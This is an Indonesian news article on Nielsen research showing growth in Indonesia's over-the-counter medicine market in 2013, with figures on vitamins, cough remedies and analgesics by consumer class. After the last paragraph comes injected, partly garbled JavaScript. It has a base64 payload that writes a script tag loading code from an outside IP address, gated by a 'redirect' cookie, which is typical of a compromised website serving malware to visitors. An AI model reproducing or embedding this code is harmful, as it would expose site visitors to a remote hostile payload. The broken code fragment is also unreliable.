Berdasarkan hasil riset Nielsen mengenai industri farmasi di Indonesia, mencatat bahwa hingga akhir Agustus 2013, pasar farmasi di Indonesia memperlihatkan pertumbuhan yang signifikan. Produk farmasi Over The Counter (OTC) atau obat yang bisa dibeli bebas tumbuh hampir 10%, dua kali lipat dibandingkan dengan periode yang sama tahun 2012. Selain itu, kelas menengah menjadi pendorong pertumbuhan konsumsi vitamin, dan pembelian obat batuk meningkat sebanyak 8,7%.
Pada konsumen kelas menengah, pertumbuhan tertinggi untuk vitamin (36%) berasal dari penjualan di apotik dan toko obat. Sementara itu penjualan di toko umum dan warung mencatat peningkatan sebesar 24%
Hellen Katherina, Associate Director Homepanel Services The Nielsen Company (Indonesia) dalam konferensi pers Nelsen di Jakarta, Rabu (4/12), mengatakan, pertumbuhan penjualan produk farmasi OTC ini didorong oleh konsumen dari kelas menengah dan kelas bawah, dimana nilai pembelanjaan lebih tinggi di kelas bawah (meningkat 43%), dan jumlah pembelian lebih tinggi di kelas menengah (meningkat 30%).
Pada konsumen kelas menengah, pengeluaran untuk produk farmasi OTC ini terjadi di semua segmen. Vitamin merupakan segmen yang penetrasinya lebih tinggi di setiap rumah tangga sebesar 56%. Pengeluaran tertinggi kedua adalah untuk segmen obat batuk 22%, disusul oleh obat analgesik dan penurun demam dengan sedikit perbedaan yaitu 21%.
Sementara itu pada konsumen kelas bawah, semua segmen produk farmasi OTC mengalami kenaikan yang signifikan, akibat terjadinya peningkatan nilai pembelanjaan. Di kelas ini, seperti halnya pada konsumen kelas menengah, segmen vitamin tumbuh 56%. Sementara itu, segmen obat analgesik dan penurun demam tumbuh sebesar 43%; lalu segmen obat batuk bertumbuh sebesar 27%.
Pada kelas menengah, terjadi peningkatan baik pada frekuensi pembelian (meningkat 0,7%) maupun pada nilai pembelanjaan (meningkat 14,1%) untuk vitamin. “Tren ini bisa jadi menunjukkan indikasi bahwa konsumen, terutama dari kelas menengah, semakin mengerti atau semakin sadar akan pentingnya kesehatan.” ujar Helen. Meningkatnya penetrasi vitamin, imbuhnya, berarti terjadi peningkatan konsumsi dan dapat dikatakan bahwa konsumen saat ini lebih sadar untuk mencegah datangnya penyakit ketimbang mengobati.
“Dengan meningkatnya kesadaran konsumen terutama di kelas menengah untuk menjaga kesehatan, pasar vitamin masih akan terus bertumbuh. Di sisi lain, produsen obat analgesik dan penurun demam harus jeli memanfaatkan peluang untuk memproduksi kemasan kecil. Produsen obat batuk sirup juga dapat memanfaatkan peluang untuk memproduksi kemasan sachet yang mulai banyak diminati konsumen. Peluang pasar produk farmasi OTC masih terbuka luas di Indonesia,” demikian Hellen menutup.
Riset pasar farmasi ini dilakukan secara total kategori di Indonesia dengan melakukan track semua pembelian. Nielsen Home Panel Indonesia memiliki 7,300 sampel rumahtangga yang mewakili konsumen secara demografis dan geografis (98% Perkotaan dan 40% Pedesaan). Nielsen Home Panel Indonesia mencatat perlilaku belanja actual dengan menggunakan metode catatan harian yang komprehensif, yang dilakukan pada setiap pembelanjaan. Nielsen Home Panel mengukur panel dari rumahtangga yang sama untuk kurun waktu yang panjang dengan 97% retention rate. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)